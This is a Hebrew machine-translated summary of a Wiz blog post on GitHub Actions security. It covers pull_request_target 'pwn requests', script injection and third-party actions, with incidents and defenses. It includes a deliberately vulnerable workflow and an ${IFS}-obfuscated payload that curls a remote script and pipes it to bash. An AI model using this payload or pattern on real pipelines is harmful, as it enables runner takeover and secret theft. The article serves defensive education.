חזרה לפיד
articlesמקור: Wiz Blog14.4.2026

מבוא לאבטחת GitHub Actions - מודל איומים, התקפות והגנות (חלק 1/2)

אמ;לק

חלק ראשון בסדרה המתארת כיצד להבין ולהגן על GitHub Actions, החל ממודל האיומים ועד לבקרות אבטחה. המאמר עוסק בסיכונים ובפתרונות הגנה בתהליכי CI/CD מבוססי GitHub Actions.

סיכום בעברית: מערכת VibeSec · מדיניות המקורות

נוסף ל-VibeSec:

כותרת מקורית: Primer on GitHub Actions Security - Threat Model, Attacks and Defenses (Part 1/2)

מבוא לאבטחת GitHub Actions - מודל איומים, התקפות והגנות (חלק 1/2)

התוכן המלא בעברית

תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.

הפשרה ב-tj-actions השפיעה על 22,000 מאגרים. ב-Ultralytics הוזרקו כורי מטבעות למהדורות PyPI. שרשרת האספקה של Trivy נפרצה באמצעות זרימת עבודה שלדעת המחברים הייתה מאובטחת. כל שלוש ההתקפות ניצלו תצורות שגויות ב-GitHub Actions שנותרו נפוצות עד היום.

סדרת בלוגים זו, בת שני חלקים, מספקת מודל איומים, סקירה של שלושה סיכונים עיקריים (Pull Request pwnage, הזרקת סקריפט, רכיבי צד שלישי) ומדריך הגנה. הבנה מעמיקה זו מציעה מפת דרכים לפיתוח אסטרטגיית אבטחה המתאימה ביותר לסביבה שלך. הסדרה מיועדת לבעלי רקע כללי באבטחה עם ידע בסיסי בלבד באבטחת GitHub.

החלק הראשון יפרט את מודל האבטחה הכללי של GitHub Actions, ימחיש טעויות אבטחה נפוצות ויבחן כיצד הן באו לידי ביטוי בהתקפות ידועות.

החלק השני מתמקד בנוף האיומים המתפתח של פעולות מבוססות AI (AI-powered actions). סעיף זה ירחיב את מודל האיומים, יציג סיכונים נפוצים ויציג את גישת ניתוח האבטחה המקורית שלנו, שחשפה סיכונים ופגיעויות חדשות.

עדכון אוקטובר 2026: מאז, GitHub פרסמה שינויים משמעותיים בהגנות על pull_request_target. עיינו במאמר The Pwn Request Reckoning: What Still Works Against GitHub Actions כדי להבין מה השתנה ומה עדיין ניתן לניצול.

GitHub Actions מריצים קוד בתגובה לאירועים במאגר. אתגר האבטחה הבסיסי הוא: מי שולט בקוד שרץ ובאילו הרשאות הוא מחזיק? גבול האמון ב-Public GitHub Repositories עובר בין ה-Trusted Zone (בעלי מאגר, משתפי פעולה, חברי ארגון, בוטים מאושרים שיכולים לבצע commit ל-main / לגשת לסודות CI/CD / להפעיל זרימות עבודה / לשנות זרימות עבודה) לבין ה-Untrusted Zone (צופים, כותבי PR ממזלגות, יוצרי Issues, כותבי תגובות, בוטים חיצוניים ו-GitHub Apps שיכולים לפתוח PR במזלגות / ליצור Issues / לפרסם תגובות / לתת כוכבים):

קיימות דרכים לחצות גבולות אלו (למשל, גניבת אישורים השייכים למנהל פרויקט), אך אתגר האבטחה המסורתי והמוקד של מחקר זה הוא עקיפה (circumvention) - תרחיש שבו שחקן מ-Untrusted Zone שולט בביצוע הקוד בהקשר של GitHub Actions במאגר. אם גורם מאיים מצליח לחצות או לעקוף את אזורי האבטחה הללו, הוא יכול לשלוט בביצוע ה-Action ולנצל את ההקשר לטובתו. להלן תרשים מסכם ברמה גבוהה הממחיש את מושגי הליבה של אבטחת GitHub Actions:

GitHub Actions מאפשרים אפילו לשחקנים שאינם מהימנים ליזום זרימות עבודה באמצעות פעילויות שונות, למשל:

• הגשת בקשות משיכה (pull requests) ממזלגות (forks) עם קוד ותוכן שרירותיים

• תגובה ב-Issues ובבקשות משיכה (הן שלהם והן של צד שלישי)

• יצירת Issues ודיונים חדשים ועוד

רמת גישה ראשונית זו, בשילוב עם תצורה שגויה של זרימת עבודה והשפעה אפשרית (כגון גישה לסודות, הרצת קוד/התמדה על רץ (runner) עצמאי, או ביצוע commits זדוניים), יוצרת פגיעות. הסעיף הבא יפרט את הסיכונים והתצורות השגויות המשמעותיות ביותר, כולל דוגמאות להתקפות ותקריות הנובעות מפגיעות זו.

הסיכון הקריטי והמובן ביותר באופן שגוי ב-CI/CD הוא התצורה השגויה של pull_request_target ב-GitHub Actions. למרות שזה נראה כמעט זהה לטריגר הסטנדרטי pull_request, השלכות האבטחה שלהם שונות משמעותית: pull_request מריץ את גרסת זרימת העבודה מענף ה-head של ה-PR. זה נראה מסוכן מכיוון שתוקף עלול לשנות את קוד זרימת העבודה במזלג שלו כדי לבצע פקודות זדוניות. עם זאת, GitHub מפחיתה סיכון זה על ידי מניעת גישה לסודות מזרימות עבודה אלו ומתן הרשאות קריאה בלבד (Read-only). בנוסף, קיימת בקרת אבטחה ברמת הארגון הנקראת "Approval for running fork pull request workflows from contributors" עם 3 אפשרויות:

אף שזו אינה הגנה הרמטית (גורמים עוינים יכולים לעקוף זאת על ידי קידום עצמי לתורמים בפעם הראשונה באמצעות תיקון תחבירי טריוויאלי, כפי שהודגם בפרצה ב-PyTorch על ידי חוקרים מ-Praetorian), זה הופך את pull_request לבטוח יחסית.

לעומת זאת, pull_request_target מריץ את גרסת זרימת העבודה מענף הבסיס (למשל, main). מכיוון שלא ניתן להחליף את קוד זרימת העבודה עצמו על ידי תורם בצורה טריוויאלית, GitHub מתייחסת להקשר זה כ"מהימן". כתוצאה מכך, זהו הטריגר שאין לו שערים ברמת הארגון וכולל גישה לסודות המאגר והרשאות כתיבה (Write) כברירת מחדל. הכוונה היא לאפשר למנהלים לבצע אוטומציה של משימות ב-PRs ממזלגות חיצוניים מבלי לחשוף את לוגיקת זרימת העבודה לשיבוש.

הסכנה מתעוררת במהלך תרחיש מודל האיומים הקלאסי: שחקן חיצוני המזלג מאגר כדי להגיש PR. למרות שלא ניתן לשנות את קוד זרימת העבודה, ניתן לתמרן את הביצוע שלה על ידי מחבר ה-PR באמצעות השפעה על ה-artifacts שנמשכו (checked-out). הדוגמה הבאה ממחישה דפוס פגיע קלאסי שבו זרימת עבודה עם גישה לסוד רגיש מבצעת checkout לקוד ממזלג ואז מריצה עליו פעולות:

הקוד שהוצג בבלוק המקורי מראה כיצד ה-`ref` המגיע מהתוקף נמשך ונעשה בו שימוש במסגרת תהליך שיש לו גישה לסודות.

מכיוון שפקודת make build משתמשת בקוד שנמשך, התוקף מקבל שליטה על הביצוע. דפוס זה - pull_request_target בשילוב עם משיכת ה-head של ה-PR - הוא הבסיס למחלקת ההתקפות של "Pwn Request".

ההתקפה

תצורה שגויה זו היא וקטור ידוע להתקפות, כפי שהודגם לאחרונה בפריצה לשרשרת האספקה של Trivy. אירוע זה מקורו בזרימת עבודה פגיעה, למרות שמחבריה האמינו שהיא מאובטחת:

המציאות הייתה שזרימת העבודה משכה קוד שנשלט על ידי התוקף ולאחר מכן הוציאה אותו לפועל באמצעות פעולה (action) שנכתבה באופן פנימי:

על ידי החלפת קוד הפעולה setup-go, התוקף הצליח להשיג הרצת קוד ולגנוב אסימון (token) בעל הרשאות גבוהות ברמת הארגון. משם, ההתקפה המשיכה להתפתח.

ההגנה

אין אסטרטגיית הגנה אחת וסופית נגד תצורה שגויה בעת שימוש ב-pull_request_target. העצה הפשוטה ביותר היא להימנע משימוש בו. יש להודות, זה לא תמיד מעשי כאשר זרימות אוטומטיות חייבות לרוץ על קוד ה-PR.

בתרחישים שבהם pull_request_target נחוץ, אסטרטגיות ההפחתה צריכות לכלול:

• התניית הרצת זרימת העבודה באישור ידני

• הימנעות מביצוע פקודות שרירותיות על הקוד שנמשך

טריגרים מסוכנים אחרים

pull_request_target הוא הטריגר המסוכן ביותר עליו מדברים, ובצדק, בהתחשב בצימוד המובנה שלו לקוד שהוא מריץ ומקיים איתו אינטראקציה. עם זאת, הוא לא היחיד. מעבר ל-pull_request_target, שבעה טריגרים נוספים חולקים את אותן תכונות מסוכנות:

• לא נדרשות הרשאות כתיבה (Write) במאגר כדי להפעילם

• זרימת העבודה המופעלת רצה בהקשר של הענף הראשי (main), עם גישה מלאה לסודות והרשאות כתיבה

הרשימה מכילה שמונה טריגרים שונים (מקובצים לפי דמיון) יחד עם וקטור ההתקפה הטיפוסי:

לדוגמה, עיבוד תוכן של Issue והרצת קוד מוטבע עשוי להיראות לא סביר - עד שמתחשבים בזרימות עבודה מבוססות AI המשתמשות בתוכן ה-Issue כקלט למודל. תרחיש זה נחקר בחלק השני של סדרה זו.

הטריגר workflow_run מהווה סיכון מובהק: הוא משורשר מזרימות עבודה אחרות וצורך את התפוקה שלהן. תוקף שמשפיע על ה-artifacts של זרימת העבודה האב יכול להרעיל את הביצוע במורד הזרם. גרפי התלות המורכבים הופכים זאת למקור נפוץ לתצורות שגויות.

אנשים שמכירים התקפות הזרקת פקודות (command injection) יבינו את התקפת הזרקת הסקריפט (הידועה גם כהזרקת ביטויים - expression injection) באופן אינטואיטיבי. בדיוק כמו שאפליקציית אינטרנט מציעה שדות קלט (שם משתמש, סיסמה, חיפוש), זרימות עבודה מציעות פרמטרי קלט כמו שמות ענפים, כותרות Issues, תוכן PR וכו'. בדיוק כפי ש-WebApp יכולה להיות פגיעה להזרקת פקודות, זרימת עבודה יכולה להיות פגיעה להזרקת סקריפט - כאשר שדה הקלט מוזן בקוד זדוני. אם משתמש מאזור לא מהימן מסוגל להפעיל את זרימת העבודה עם קלט כזה, הוא זוכה להרצת קוד בהקשר של זרימת העבודה. הדוגמה הקלאסית להתקפה מסוג זה היא זרימת עבודה המהדהדת את כותרת ה-Issue:

⁦name : Issue Syntax Checker on : issues : types : [ opened ] jobs : validate-issue : runs-on : ubuntu-latest steps : - name : Echo Issue Title run : | echo "Processing new issue: '${{ github.event.issue.title }}'" - name : Perform Syntactical Checks run : | echo "Running static analysis and syntax linting..." # e.g., npm run lint or flake8 . echo "✅ Syntax checks passed!"⁩

כפי שניתן לראות, השלב הראשון הוא הרצת echo על ${{ github.event.issue.title }}, מה שאומר שמטען זדוני (payload) כמו זה מאירוע tj-actions -

מבחן")${⁦IFS⁩}&&${⁦IFS⁩}{curl,-⁦sSfL⁩,gist.githubusercontent.com/⁦RampagingSloth⁩/7251129 1630c7f95f0d8ffabb3c80fbf/raw/⁦inject.sh⁩}${⁦IFS⁩}|${⁦IFS⁩}bash&&echo${⁦IFS⁩}$("foo

- יבצע פקודת curl זו בהקשר של ה-runner שמריץ את העבודה. שימו לב לטריק ה-${IFS} - מעקף WAF קלאסי שמופיע כעת במטענים של CI/CD.

ההתקפה

בדצמבר 2024, Ultralytics (הארגון שמאחורי דגמי הראייה הממוחשבת הפופולריים YOLO) סבל ממתקפת שרשרת אספקת תוכנה חמורה. גורמים עוינים פגעו במהדורות ה-PyPI של הפרויקט, והדביקו אלפי מפתחים ויישומים במורד הזרם בכורה מטבעות קריפטוגרפיים מסוג XMRig. הסיבה השורשית אותרה לתצורה לא מאובטחת בתוך פעולה מורכבת מותאמת אישית ששימשה את המאגר ultralytics/actions. בדיוק כמו בדוגמה שלמעלה, זרימת העבודה לקחה קלט מבוקר משתמש - ספציפית, את שם ענף ה-Git (למשל ${{ github.head_ref }} או ${{ github.ref }}) - והזריקה אותו ישירות לתוך בלוק הרצה של bash ללא חיטוי (sanitizing) או מיפוי למשתנה סביבה ביניים תחילה. התוקף ניצל זאת על ידי פתיחת ה-PR עם שם ענף זדוני:

התוקף הצליח לחלץ אסימוני GitHub, לגנוב את אישורי הפרסום של הפרויקט ל-PyPI, וכתוצאה מכך להרעיל את החבילות שהופצו.

ההגנה

ההגנה נגד הזרקת פקודות מושגת בעיקר בשתי דרכים:

• קשירת קלטים למשתני סביבה: זוהי השיטה הפשוטה ביותר. על ידי הפניה למשתנה הסביבה באמצעות תחביר מעטפת (shell) סטנדרטי (למשל, "$MY_VAR"), המעטפת מתייחסת אוטומטית לתוכן המשתנה כמחרוזת טקסט פשוטה (literal string).

• חיטוי (Sanitizing) של קלטים לא מהימנים: בהתאם לשימוש, במקרים מסוימים אפילו משתנה בתוך מרכאות ניתן לניצול, ובמקרה זה יש לחטא את הקלט. פעולה זו כרוכה באימות קפדני שהקלט תואם תבנית בטוחה - כגון ביטוי רגולרי (regex) המאשר רשימה מוגדרת (למשל, התרת תווים אלפאנומריים ומקפים בלבד) - ב-shell כמו bash, לפני ביצוע הפקודה.

GitHub Actions משרתת שתי מטרות עיקריות שלעתים קרובות מתערבבות: היא גם מערכת CI/CD מקיפה וגם אוסף של אבני בניין של זרימות עבודה לשימוש חוזר, המכונות בדרך כלל "actions". הדוגמה הפופולרית ביותר לאחרונה היא הפעולה הרשמית actions/checkout (השימושית למשיכת קוד המאגר) שצפינו ב-100% מסביבות הלקוחות של WizCode. כעת, תארו לעצמכם שהפעולה הזו נפגעת - המשמעות תהיה נפילה עצומה של כל המערכת האקולוגית של GitHub Actions מכיוון שאף זרימת עבודה לא תהיה בטוחה. מתקפת ה-tj-actions מהשנה שעברה סיפקה אזהרה בעולם האמיתי מפני נפילה כזו.

ההתקפה

#github-actions#ci-cd-security#supply-chain-security#threat-modeling
קרא במקור